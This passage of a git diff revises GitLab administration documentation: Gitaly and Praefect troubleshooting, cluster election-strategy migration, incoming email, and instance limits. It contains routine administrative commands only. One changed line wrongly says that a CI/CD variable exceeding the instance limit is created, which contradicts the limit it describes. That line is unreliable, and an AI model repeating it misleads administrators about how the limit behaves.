gRPC client with the `GRPC_LOG_LEVEL` environment variable. The
default level is `WARN`.
@@ -461,7 +448,7 @@ You can run a gRPC trace with:
sudo GRPC_TRACE=all GRPC_VERBOSITY=DEBUG gitlab-rake gitlab:gitaly:check
```
-### Server side gRPC logs
+#### Server side gRPC logs
gRPC tracing can also be enabled in Gitaly itself with the `GODEBUG=http2debug`
environment variable. To set this in an Omnibus GitLab install:
@@ -476,7 +463,7 @@ environment variable. To set this in an Omnibus GitLab install:
1. [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab.
-### Correlating Git processes with RPCs
+#### Correlating Git processes with RPCs
Sometimes you need to find out which Gitaly RPC created a particular Git process.
@@ -494,7 +481,7 @@ sudo cat /proc/$PID/environ | tr '\0' '\n' | grep ^CORRELATION_ID=
This method isn't reliable for `git cat-file` processes, because Gitaly
internally pools and re-uses those across RPCs.
-### Observing `gitaly-ruby` traffic
+#### Observing `gitaly-ruby` traffic
[`gitaly-ruby`](configure_gitaly.md#gitaly-ruby) is an internal implementation detail of Gitaly,
so, there's not that much visibility into what goes on inside
@@ -502,12 +489,13 @@ so, there's not that much visibility into what goes on inside
If you have Prometheus set up to scrape your Gitaly process, you can see
request rates and error codes for individual RPCs in `gitaly-ruby` by
-querying `grpc_client_handled_total`. Strictly speaking, this metric does
-not differentiate between `gitaly-ruby` and other RPCs. However from GitLab 11.9,
-all gRPC calls made by Gitaly itself are internal calls from the main Gitaly process to one of its
-`gitaly-ruby` sidecars.
+querying `grpc_client_handled_total`.
+
+- In theory, this metric does not differentiate between `gitaly-ruby` and other RPCs.
+- In practice from GitLab 11.9, all gRPC calls made by Gitaly itself are internal calls from the
+ main Gitaly process to one of its `gitaly-ruby` sidecars.
-Assuming your `grpc_client_handled_total` counter observes only Gitaly,
+Assuming your `grpc_client_handled_total` counter only observes Gitaly,
the following query shows you RPCs are (most likely) internally
implemented as calls to `gitaly-ruby`:
@@ -515,7 +503,7 @@ implemented as calls to `gitaly-ruby`:
sum(rate(grpc_client_handled_total[5m])) by (grpc_method) > 0
```
-### Repository changes fail with a `401 Unauthorized` error
+#### Repository changes fail with a `401 Unauthorized` error
If you run Gitaly on its own server and notice these conditions:
@@ -541,7 +529,7 @@ Confirm the following are all true:
- When any user adds or modifies a file from the repository using the GitLab
UI, it immediately fails with a red `401 Unauthorized` banner.
- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#blank-projects)
- successfully creates the project, but doesn't create the README.
+ successfully creates the project but doesn't create the README.
- When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server)
on a Gitaly client and reproducing the error, you get `401` errors
when reaching the [`/api/v4/internal/allowed`](../../development/internal_api.md) endpoint:
@@ -610,7 +598,7 @@ on the Gitaly server matches the one on Gitaly client. If it doesn't match,
update the secrets file on the Gitaly server to match the Gitaly client, then
[reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure).
-### Command line tools cannot connect to Gitaly
+#### Command line tools cannot connect to Gitaly
gRPC cannot reach your Gitaly server if:
@@ -623,22 +611,24 @@ Verify you can reach Gitaly by using TCP:
sudo gitlab-rake gitlab:tcp_check[GITALY_SERVER_IP,GITALY_LISTEN_PORT]
```
-If the TCP connection fails, check your network settings and your firewall rules.
-If the TCP connection succeeds, your networking and firewall rules are correct.
+If the TCP connection:
+
+- Fails, check your network settings and your firewall rules.
+- Succeeds, your networking and firewall rules are correct.
-If you use proxy servers in your command line environment, such as Bash, these
-can interfere with your gRPC traffic.
+If you use proxy servers in your command line environment such as Bash, these can interfere with
+your gRPC traffic.
-If you use Bash or a compatible command line environment, run the following commands
-to determine whether you have proxy servers configured:
+If you use Bash or a compatible command line environment, run the following commands to determine
+whether you have proxy servers configured:
```shell
echo $http_proxy
echo $https_proxy
```
-If either of these variables have a value, your Gitaly CLI connections may be
-getting routed through a proxy which cannot connect to Gitaly.
+If either of these variables have a value, your Gitaly CLI connections may be getting routed through
+a proxy which cannot connect to Gitaly.
To remove the proxy setting, run the following commands (depending on which variables had values):
@@ -647,7 +637,7 @@ unset http_proxy
unset https_proxy
```
-### Permission denied errors appearing in Gitaly or Praefect logs when accessing repositories
+#### Permission denied errors appearing in Gitaly or Praefect logs when accessing repositories
You might see the following in Gitaly and Praefect logs:
@@ -668,9 +658,87 @@ This is a GRPC call
[error response code](https://grpc.github.io/grpc/core/md_doc_statuscodes.html).
If this error occurs, even though
-[the Gitaly auth tokens are correctly setup](../gitaly/praefect.md#debugging-praefect),
+[the Gitaly auth tokens are set up correctly](#praefect-errors-in-logs),
it's likely that the Gitaly servers are experiencing
[clock drift](https://en.wikipedia.org/wiki/Clock_drift).
Ensure the Gitaly clients and servers are synchronized, and use an NTP time
server to keep them synchronized.
+
+#### Gitaly not listening on new address after reconfiguring
+
+When updating the `gitaly['listen_addr']` or `gitaly['prometheus_listen_addr']` values, Gitaly may
+continue to listen on the old address after a `sudo gitlab-ctl reconfigure`.
+
+When this occurs, run `sudo gitlab-ctl restart` to resolve the issue. This should no longer be
+necessary because [this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/2521) is resolved.
+
+#### Permission denied errors appearing in Gitaly logs when accessing repositories from a standalone Gitaly node
+
+If this error occurs even though file permissions are correct, it's likely that the Gitaly node is
+experiencing [clock drift](https://en.wikipedia.org/wiki/Clock_drift).
+
+Please ensure that the GitLab and Gitaly nodes are synchronized and use an NTP time
+server to keep them synchronized if possible.
+
+### Troubleshoot Praefect (Gitaly Cluster)
+
+The following sections provide possible solutions to Gitaly Cluster errors.
+
+#### Praefect errors in logs
+
+If you receive an error, check `/var/log/gitlab/gitlab-rails/production.log`.
+
+Here are common errors and potential causes:
+
+- 500 response code
+ - **ActionView::Template::Error (7:permission denied)**
+ - `praefect['auth_token']` and `gitlab_rails['gitaly_token']` do not match on the GitLab server.
+ - **Unable to save project. Error: 7:permission denied**
+ - Secret token in `praefect['storage_nodes']` on GitLab server does not match the
+ value in `gitaly['auth_token']` on one or more Gitaly servers.
+- 503 response code
+ - **GRPC::Unavailable (14:failed to connect to all addresses)**
+ - GitLab was unable to reach Praefect.
+ - **GRPC::Unavailable (14:all SubCons are in TransientFailure...)**
+ - Praefect cannot reach one or more of its child Gitaly nodes. Try running
+ the Praefect connection checker to diagnose.
+
+#### Determine primary Gitaly node
+
+To determine the current primary Gitaly node for a specific Praefect node:
+
+- Use the `Shard Primary Election` [Grafana chart](praefect.md#grafana) on the
+ [`Gitlab Omnibus - Praefect` dashboard](https://gitlab.com/gitlab-org/grafana-dashboards/-/blob/master/omnibus/praefect.json).
+ This is recommended.
+- If you do not have Grafana set up, use the following command on each host of each
+ Praefect node:
+
+ ```shell
+ curl localhost:9652/metrics | grep gitaly_praefect_primaries`
+ ```
+
+#### Relation does not exist errors
+
+By default Praefect database tables are created automatically by `gitlab-ctl reconfigure` task.
+However, if the `gitlab-ctl reconfigure` command isn't executed or there are errors during the
+execution, the Praefect database tables are not created on initial reconfigure and can throw
+errors that relations do not exist.
+
+For example:
+
+- `ERROR: relation "node_status" does not exist at character 13`
+- `ERROR: relation "replication_queue_lock" does not exist at character 40`
+- This error:
+
+ ```json
+ {"level":"error","msg":"Error updating node: pq: relation \"node_status\" does not exist","pid":210882,"praefectName":"gitlab1x4m:0.0.0.0:2305","time":"2021-04-01T19:26:19.473Z","virtual_storage":"praefect-cluster-1"}
+ ```
+
+To solve this, the database schema migration can be done using `sql-migrate` sub-command of
+the `praefect` command:
+
+```shell
+$ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml sql-migrate
+praefect sql-migrate: OK (applied 21 migrations)
+```
diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md
index a1733d9d6ac..21e5360e27b 100644
--- a/doc/administration/gitaly/praefect.md
+++ b/doc/administration/gitaly/praefect.md
@@ -9,13 +9,21 @@ type: reference
Configure Gitaly Cluster using either:
-- The Gitaly Cluster configuration instructions available as part of
- [reference architectures](../reference_architectures/index.md) for installations for more than
- 2000 users.
-- The advanced configuration instructions that follow on this page.
+- Gitaly Cluster configuration instructions available as part of
+ [reference architectures](../reference_architectures/index.md) for installations of up to:
+ - [3000 users](../reference_architectures/3k_users.md#configure-gitaly-cluster).
+ - [5000 users](../reference_architectures/5k_users.md#configure-gitaly-cluster).
+ - [10,000 users](../reference_architectures/10k_users.md#configure-gitaly-cluster).
+ - [25,000 users](../reference_architectures/25k_users.md#configure-gitaly-cluster).
+ - [50,000 users](../reference_architectures/50k_users.md#configure-gitaly-cluster).
+- The custom configuration instructions that follow on this page.
Smaller GitLab installations may need only [Gitaly itself](index.md).
+NOTE:
+Upgrade instructions for Omnibus GitLab installations
+[are available](https://docs.gitlab.com/omnibus/update/#gitaly-cluster).
+
## Requirements for configuring a Gitaly Cluster
The minimum recommended configuration for a Gitaly Cluster requires:
@@ -161,6 +169,9 @@ node, using `psql` which is installed by Omnibus GitLab.
The database used by Praefect is now configured.
+If you see Praefect database errors after configuring PostgreSQL, see
+[troubleshooting steps](index.md#relation-does-not-exist-errors).
+
#### PgBouncer
To reduce PostgreSQL resource consumption, we recommend setting up and configuring
@@ -223,8 +234,10 @@ PostgreSQL instances. Otherwise you should change the configuration parameter
> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 13.4, Praefect nodes can no longer be designated as `primary`.
-NOTE:
-If there are multiple Praefect nodes, complete these steps for **each** node.
+If there are multiple Praefect nodes:
+
+- Complete the following steps for **each** node.
+- Designate one node as the "deploy node", and configure it first.
To complete this section you need a [configured PostgreSQL server](#postgresql), including:
@@ -259,8 +272,8 @@ application server, or a Gitaly node.
praefect['enable'] = true
# Prevent database connections during 'gitlab-ctl reconfigure'
- gitlab_rails['rake_cache_clear'] = false
gitlab_rails['auto_migrate'] = false
+ praefect['auto_migrate'] = false
```
1. Configure **Praefect** to listen on network interfaces by editing
@@ -381,6 +394,30 @@ application server, or a Gitaly node.
gitlab-ctl reconfigure
```
+1. For:
+
+ - The "deploy node":
+ 1. Enable Praefect auto-migration again by setting `praefect['auto_migrate'] = true` in
+ `/etc/gitlab/gitlab.rb`.
+ 1. To ensure database migrations are only run during reconfigure and not automatically on
+ upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ - The other nodes, you can leave the settings as they are. Though
+ `/etc/gitlab/skip-auto-reconfigure` isn't required, you may want to set it to prevent GitLab
+ running reconfigure automatically when running commands such as `apt-get update`. This way any
+ additional configuration changes can be done and then reconfigure can be run manually.
+
+1. Save the changes to `/etc/gitlab/gitlab.rb` and [reconfigure
+ Praefect](../restart_gitlab.md#omnibus-gitlab-reconfigure):
+
+ ```shell
+ gitlab-ctl reconfigure
+ ```
+
1. To ensure that Praefect [has updated its Prometheus listen
address](https://gitlab.com/gitlab-org/gitaly/-/issues/2734), [restart
Praefect](../restart_gitlab.md#omnibus-gitlab-restart):
@@ -599,7 +636,6 @@ documentation](configure_gitaly.md#configure-gitaly-servers).
prometheus['enable'] = true
# Prevent database connections during 'gitlab-ctl reconfigure'
- gitlab_rails['rake_cache_clear'] = false
gitlab_rails['auto_migrate'] = false
```
@@ -696,7 +732,7 @@ documentation](configure_gitaly.md#configure-gitaly-servers).
**The steps above must be completed for each Gitaly node!**
-After all Gitaly nodes are configured, you can run the Praefect connection
+After all Gitaly nodes are configured, run the Praefect connection
checker to verify Praefect can connect to all Gitaly servers in the Praefect
configuration.
@@ -865,9 +901,13 @@ Particular attention should be shown to:
gitlab-rake gitlab:gitaly:check
```
-1. Check in **Admin Area > Settings > Repository > Repository storage** that the Praefect storage
- is configured to store new repositories. Following this guide, the `default` storage should have
- weight 100 to store all new repositories.
+1. Check that the Praefect storage is configured to store new repositories:
+
+ 1. On the top bar, select **Menu >** **{admin}** **Admin**.
+ 1. On the left sidebar, select **Settings > Repository**.
+ 1. Expand the **Repository storage** section.
+
+ Following this guide, the `default` storage should have weight 100 to store all new repositories.
1. Verify everything is working by creating a new project. Check the
"Initialize repository with a README" box so that there is content in the
@@ -878,7 +918,7 @@ Particular attention should be shown to:
When adding Gitaly Cluster to an existing Gitaly instance, the existing Gitaly storage
must use a TCP address. If `gitaly_address` is not specified, then a Unix socket is used,
-which will prevent the communication with the cluster.
+which prevents the communication with the cluster.
For example:
@@ -1160,15 +1200,36 @@ To migrate existing clusters:
a Praefect node to reattempt it. The migration only runs with `sql` election strategy configured.
1. Running two different election strategies side by side can cause a split brain, where different
- Praefect nodes consider repositories to have different primaries. To avoid this, shut down
- all Praefect nodes before changing the election strategy.
+ Praefect nodes consider repositories to have different primaries. This can be avoided either:
+
+ - If a short downtime is acceptable:
- Do this by running `gitlab-ctl stop praefect` on the Praefect nodes.
+ 1. Shut down all Praefect nodes before changing the election strategy. Do this by running `gitlab-ctl stop praefect` on the Praefect nodes.
-1. On the Praefect nodes, configure the election strategy in `/etc/gitlab/gitlab.rb` with
- `praefect['failover_election_strategy'] = 'per_repository'`.
+ 1. On the Praefect nodes, configure the election strategy in `/etc/gitlab/gitlab.rb` with `praefect['failover_election_strategy'] = 'per_repository'`.
-1. Finally, run `gitlab-ctl reconfigure` to reconfigure and restart the Praefect nodes.
+ 1. Run `gitlab-ctl reconfigure && gitlab-ctl start` to reconfigure and start the Praefects.
+
+ - If downtime is unacceptable:
+
+ 1. Determine which Gitaly node is [the current primary](index.md#determine-primary-gitaly-node).
+
+ 1. Comment out the secondary Gitaly nodes from the virtual storage's configuration in `/etc/gitlab/gitlab.rb`
+ on all Praefect nodes. This ensures there's only one Gitaly node configured, causing both of the election
+ strategies to elect the same Gitaly node as the primary.
+
+ 1. Run `gitlab-ctl reconfigure` on all Praefect nodes. Wait until all Praefect processes have restarted and
+ the old processes have exited. This can take up to one minute.
+
+ 1. On all Praefect nodes, configure the election strategy in `/etc/gitlab/gitlab.rb` with
+ `praefect['failover_election_strategy'] = 'per_repository'`.
+
+ 1. Run `gitlab-ctl reconfigure` on all Praefect nodes. Wait until all of the Praefect processes have restarted and
+ the old processes have exited. This can take up to one minute.
+
+ 1. Uncomment the secondary Gitaly node configuration commented out in the earlier step on all Praefect nodes.
+
+ 1. Run `gitlab-ctl reconfigure` on all Praefect nodes to reconfigure and restart the Praefect processes.
### Deprecated election strategies
@@ -1428,15 +1489,8 @@ or to move from single Gitaly nodes, the basic process involves:
1. Create and configure Gitaly Cluster.
1. [Move the repositories](#move-repositories).
-The size of the required storage can vary between instances and depends on the set
-[replication factor](#replication-factor). The migration to Gitaly Cluster might include
-implementing repository storage redundancy.
-
-For a replication factor:
-
-- Of `1`: NFS, Gitaly, and Gitaly Cluster have roughly the same storage requirements.
-- More than `1`: The amount of required storage is `used space * replication factor`. `used space`
- should include any planned future growth.
+When creating the storage, see some
+[repository storage recommendations](faq.md#what-are-some-repository-storage-recommendations).
### Move Repositories
@@ -1467,8 +1521,10 @@ After creating and configuring Gitaly Cluster:
1. [Schedule repository storage moves for all projects on a storage shard](../../api/project_repository_storage_moves.md#schedule-repository-storage-moves-for-all-projects-on-a-storage-shard) using the API. For example:
```shell
- curl --request POST --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \
- --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves"
+ curl --request POST --header "Private-Token: <your_access_token>" \
+ --header "Content-Type: application/json" \
+ --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' \
+ "https://gitlab.example.com/api/v4/project_repository_storage_moves"
```
1. [Query the most recent repository moves](../../api/project_repository_storage_moves.md#retrieve-all-project-repository-storage-moves)
@@ -1500,8 +1556,10 @@ After creating and configuring Gitaly Cluster:
1. [Schedule repository storage moves for all snippets on a storage shard](../../api/snippet_repository_storage_moves.md#schedule-repository-storage-moves-for-all-snippets-on-a-storage-shard) using the API. For example:
```shell
- curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
- --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/snippet_repository_storage_moves"
+ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --header "Content-Type: application/json" \
+ --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' \
+ "https://gitlab.example.com/api/v4/snippet_repository_storage_moves"
```
1. [Query the most recent repository moves](../../api/snippet_repository_storage_moves.md#retrieve-all-snippet-repository-storage-moves)
@@ -1525,8 +1583,10 @@ After creating and configuring Gitaly Cluster:
1. [Schedule repository storage moves for all groups on a storage shard](../../api/group_repository_storage_moves.md#schedule-repository-storage-moves-for-all-groups-on-a-storage-shard) using the API.
```shell
- curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
- --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/group_repository_storage_moves"
+ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --header "Content-Type: application/json" \
+ --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' \
+ "https://gitlab.example.com/api/v4/group_repository_storage_moves"
```
1. [Query the most recent repository moves](../../api/group_repository_storage_moves.md#retrieve-all-group-repository-storage-moves)
@@ -1544,35 +1604,3 @@ After creating and configuring Gitaly Cluster:
```
1. Repeat for each storage as required.
-
-## Debugging Praefect
-
-If you receive an error, check `/var/log/gitlab/gitlab-rails/production.log`.
-
-Here are common errors and potential causes:
-
-- 500 response code
- - **ActionView::Template::Error (7:permission denied)**
- - `praefect['auth_token']` and `gitlab_rails['gitaly_token']` do not match on the GitLab server.
- - **Unable to save project. Error: 7:permission denied**
- - Secret token in `praefect['storage_nodes']` on GitLab server does not match the
- value in `gitaly['auth_token']` on one or more Gitaly servers.
-- 503 response code
- - **GRPC::Unavailable (14:failed to connect to all addresses)**
- - GitLab was unable to reach Praefect.
- - **GRPC::Unavailable (14:all SubCons are in TransientFailure...)**
- - Praefect cannot reach one or more of its child Gitaly nodes. Try running
- the Praefect connection checker to diagnose.
-
-### Determine primary Gitaly node
-
-To determine the current primary Gitaly node for a specific Praefect node:
-
-- Use the `Shard Primary Election` [Grafana chart](#grafana) on the [`Gitlab Omnibus - Praefect` dashboard](https://gitlab.com/gitlab-org/grafana-dashboards/-/blob/master/omnibus/praefect.json).
- This is recommended.
-- If you do not have Grafana set up, use the following command on each host of each
- Praefect node:
-
- ```shell
- curl localhost:9652/metrics | grep gitaly_praefect_primaries`
- ```
diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md
index 9aa6bffdb98..56af5f56cfa 100644
--- a/doc/administration/incoming_email.md
+++ b/doc/administration/incoming_email.md
@@ -21,9 +21,8 @@ GitLab has several features based on receiving incoming emails:
## Requirements
-It is **not** recommended to use an email address that receives any
-messages not intended for the GitLab instance. Any incoming emails not intended
-for GitLab receive a reject notice.
+We recommend using an email address that receives **only** messages that are intended for
+the GitLab instance. Any incoming emails not intended for GitLab receive a reject notice.
Handling incoming emails requires an [IMAP](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol)-enabled
email account. GitLab requires one of the following three strategies:
@@ -131,6 +130,9 @@ list.
```shell
sudo gitlab-ctl reconfigure
+
+ # Needed when enabling or disabling for the first time but not for password changes.
+ # See https://gitlab.com/gitlab-org/gitlab-foss/-/issues/23560#note_61966788
sudo gitlab-ctl restart
```
@@ -469,11 +471,6 @@ This series of PowerShell commands enables [sub-addressing](#email-sub-addressin
at the organization level in Office 365. This allows all mailboxes in the organization
to receive sub-addressed mail:
-NOTE:
-This series of commands enables sub-addressing at the organization
-level in Office 365. This allows all mailboxes in the organization
-to receive sub-addressed mail.
-
```powershell
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
diff --git a/doc/administration/index.md b/doc/administration/index.md
index 1bc2084a23a..69e8689c589 100644
--- a/doc/administration/index.md
+++ b/doc/administration/index.md
@@ -54,7 +54,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Environment variables](environment_variables.md): Supported environment
variables that can be used to override their default values to configure
GitLab.
-- [Plugins](file_hooks.md): With custom plugins, GitLab administrators can
+- [File hooks](file_hooks.md): With custom file hooks, GitLab administrators can
introduce custom integrations without modifying GitLab source code.
- [Enforcing Terms of Service](../user/admin_area/settings/terms.md)
- [Third party offers](../user/admin_area/settings/third_party_offers.md)
@@ -103,7 +103,6 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [GitLab in maintenance mode](maintenance_mode/index.md): Put GitLab in maintenance mode.
- [Update GitLab](../update/index.md): Update guides to upgrade your installation to a new version.
- [Upgrading without downtime](../update/index.md#upgrading-without-downtime): Upgrade to a newer major, minor, or patch version of GitLab without taking your GitLab instance offline.
-- [Migrate your GitLab CI/CD data to another version of GitLab](../migrate_ci_to_ce/README.md): If you have an old GitLab installation (older than 8.0), follow this guide to migrate your existing GitLab CI/CD data to another version of GitLab.
### Upgrading or downgrading GitLab
@@ -172,7 +171,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [External Pipeline Validation](external_pipeline_validation.md): Enable, disable, and configure external pipeline validation.
- [Job artifacts](job_artifacts.md): Enable, disable, and configure job artifacts (a set of files and directories which are outputted by a job when it completes successfully).
- [Job logs](job_logs.md): Information about the job logs.
-- [Register runners](../ci/runners/README.md#types-of-runners): Learn how to register and configure runners.
+- [Register runners](../ci/runners/runners_scope.md): Learn how to register and configure runners.
- [Shared runners pipelines quota](../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota): Limit the usage of pipeline minutes for shared runners.
- [Enable/disable Auto DevOps](../topics/autodevops/index.md#enable-or-disable-auto-devops): Enable or disable Auto DevOps for your instance.
diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md
index 9ea76ff6151..9423045e3b5 100644
--- a/doc/administration/instance_limits.md
+++ b/doc/administration/instance_limits.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# GitLab application limits
+# GitLab application limits **(FREE SELF)**
GitLab, like most large applications, enforces limits within certain features to maintain a
minimum quality of performance. Allowing some features to be limitless could affect security,
@@ -112,7 +112,7 @@ Limit the maximum daily member invitations allowed per group hierarchy.
- GitLab.com: Free members may invite 20 members per day.
- Self-managed: Invites are not limited.
-### Webhook calls
+### Webhook rate limit
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61151) in GitLab 13.12.
> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default.
@@ -169,8 +169,8 @@ Read more about [Gitaly concurrency limits](gitaly/configure_gitaly.md#limit-rpc
There's a limit to the number of comments that can be submitted on an issue,
merge request, or commit. When the limit is reached, system notes can still be
-added so that the history of events is not lost, but user-submitted comments
-will fail.
+added so that the history of events is not lost, but the user-submitted
+comment fails.
- **Max limit**: 5,000 comments.
@@ -179,10 +179,10 @@ will fail.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/61974) in GitLab 12.2.
There is a limit to the size of comments and descriptions of issues, merge requests, and epics.
-Attempting to add a body of text larger than the limit will result in an error, and the
-item will not be created.
+Attempting to add a body of text larger than the limit, results in an error, and the
+item is also not created.
-It's possible that this limit will be changed to a lower number in the future.
+It's possible that this limit changes to a lower number in the future.
- **Max size**: ~1 million characters / ~1 MB.
@@ -191,8 +191,8 @@ It's possible that this limit will be changed to a lower number in the future.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292039) in GitLab 13.9
Commits with arbitrarily large messages may be pushed to GitLab, but when
-displaying commits, titles (the first line of the commit message) will be
-limited to 1KiB, and descriptions (the rest of the message) will be limited to
+displaying commits, titles (the first line of the commit message)
+limits to 1KiB, and descriptions (the rest of the message) limits to
1MiB.
## Number of issues in the milestone overview
@@ -316,7 +316,7 @@ each time a new pipeline is created. An active pipeline is any pipeline in one o
- `running`
If a new pipeline would cause the total number of jobs to exceed the limit, the pipeline
-will fail with a `job_activity_limit_exceeded` error.
+fails with a `job_activity_limit_exceeded` error.
- GitLab SaaS subscribers have different limits [defined per plan](../user/gitlab_com/index.md#gitlab-cicd),
and they affect all projects under that plan.
@@ -367,7 +367,7 @@ The total number of subscriptions can be limited per project. This limit is
checked each time a new subscription is created.
If a new subscription would cause the total number of subscription to exceed the
-limit, the subscription will be considered invalid.
+limit, the subscription is considered invalid.
- GitLab SaaS subscribers have different limits [defined per plan](../user/gitlab_com/index.md#gitlab-cicd),
and they affect all projects under that plan.
@@ -391,7 +391,7 @@ Set the limit to `0` to disable it.
The total number of pipeline schedules can be limited per project. This limit is
checked each time a new pipeline schedule is created. If a new pipeline schedule
would cause the total number of pipeline schedules to exceed the limit, the
-pipeline schedule will not be created.
+pipeline schedule is not created.
GitLab SaaS subscribers have different limits [defined per plan](../user/gitlab_com/index.md#gitlab-cicd),
and they affect all projects under that plan.
@@ -413,7 +413,7 @@ Plan.default.actual_limits.update!(ci_pipeline_schedules: 100)
The total number of instance level CI/CD variables is limited at the instance level.
This limit is checked each time a new instance level variable is created. If a new variable
-would cause the total number of variables to exceed the limit, the new variable will not be created.
+would cause the total number of variables to exceed the limit, the new variable is created.
On self-managed instances this limit is defined for the `default` plan. By default,
this limit is set to `25`.
@@ -482,10 +482,9 @@ Plan.default.actual_limits.update!(ci_max_artifact_size_junit: 10)
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321368) in GitLab 13.12.
-The total number of registered runners is limited at the group and project
-levels. Each time a new runner is registered, GitLab checks these limits. A
-runner's registration fails if it exceeds the limit for the scope determined by
-the runner registration token.
+The total number of registered runners is limited at the group and project levels. Each time a new runner is registered,
+GitLab checks these limits against runners that have been active in the last 3 months.
+A runner's registration fails if it exceeds the limit for the scope determined by the runner registration token.
- GitLab SaaS subscribers have different limits defined per plan, affecting all projects using that plan.
- Self-managed GitLab Premium and Ultimate limits are defined by a default plan that affects all projects:
@@ -574,7 +573,26 @@ See [Environment Dashboard](../ci/environments/environments_dashboard.md#adding-
Pods and Deployments. However, data over 10 MB for a certain environment read from
Kubernetes won't be shown.
-## Merge request reports
+## Merge requests
+
+### Diff limits
+
+GitLab has limits around:
+
+- The patch size for a single file. [This is configurable on self-managed instance](../user/admin_area/diff_limits.md).
+- The total size of all the diffs for a merge request.
+
+An upper and lower limit applies to each of these:
+
+- The number of changed files.
+- The number of changed lines.
+- The cumulative size of the changes displayed.
+
+The lower limits result in additional diffs being collapsed. The higher limits
+prevent any more changes from rendering. For more information about these limits,
+[read the development documentation](../development/diffs.md#diff-limits).
+
+### Merge request reports size limit
Reports that go over the 20 MB limit won't be loaded. Affected reports:
@@ -589,8 +607,8 @@ Reports that go over the 20 MB limit won't be loaded. Affected reports:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8638) in GitLab 13.3.
You can set a limit on the content of repository files that are indexed in
-Elasticsearch. Any files larger than this limit will not be indexed, and thus
-will not be searchable.
+Elasticsearch. Any files larger than this limit is neither indexed
+nor searchable.
Setting a limit helps reduce the memory usage of the indexing processes and
the overall index size. This value defaults to `1024 KiB` (1 MiB) as any
@@ -598,8 +616,8 @@ text files larger than this likely aren't meant to be read by humans.
You must set a limit, as unlimited file sizes aren't supported. Setting this
value to be greater than the amount of memory on GitLab Sidekiq nodes causes
-the GitLab Sidekiq nodes to run out of memory, as they will pre-allocate this
-amount of memory during indexing.
+the GitLab Sidekiq nodes to run out of memory, as this amount of memory
+is pre-allocated during indexing.
### Maximum field length
@@ -607,18 +625,17 @@ amount of memory during indexing.
You can set a limit on the content of text fields indexed for Advanced Search.
Setting a maximum helps to reduce the load of the indexing processes. If any
-text field exceeds this limit then the text will be truncated to this number of
-characters and the rest will not be indexed and hence will not be searchable.
-This is applicable to all indexed data except repository files that get
-indexed, which have a separate limit (see [Maximum file size
-indexed](#maximum-file-size-indexed)).
-
-- On GitLab.com, this is limited to 20,000 characters
-- For self-managed installations, this is unlimited by default
+text field exceeds this limit, then the text is truncated to this number of
+characters. The rest of the text is not indexed, and not searchable.
+This applies to all indexed data except repository files that get
+indexed, which have a separate limit. For more information, read
+[Maximum file size indexed](#maximum-file-size-indexed).
-This limit can be configured for self-managed installations when [enabling
-Elasticsearch](../integration/elasticsearch.md#enabling-advanced-search).
+- On GitLab.com, the field length limit is 20,000 characters.
+- For self-managed installations, the field length is unlimited by default.
+You can configure this limit for self-managed installations when you
+[enable Elasticsearch](../integration/elasticsearch.md#enabling-advanced-search).
Set the limit to `0` to disable it.
## Wiki limits
@@ -653,7 +670,7 @@ More information can be found in these docs:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31007) in GitLab 12.4.
Total number of changes (branches or tags) in a single push to determine whether
-individual push events or bulk push event will be created.
+individual push events or a bulk push event are created.
More information can be found in the [Push event activities limit and bulk push events documentation](../user/admin_area/settings/push_event_activities_limit.md).
diff --git a/doc/administration/integration/kroki.md b/doc/administration/integration/kroki.md
index 9e9ea62c44e..e36b8a0be9d 100644
--- a/doc/administration/integration/kroki.md
+++ b/doc/administration/integration/kroki.md
@@ -6,10 +6,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Kroki diagrams **(FREE SELF)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241744) in GitLab 13.7.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241744) in GitLab 13.7.
+> - Support for reStructuredText and Textile documents [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/324766) in GitLab 13.12.
When [Kroki](https://kroki.io) integration is enabled and configured in
-GitLab you can use it to create diagrams in AsciiDoc and Markdown documents.
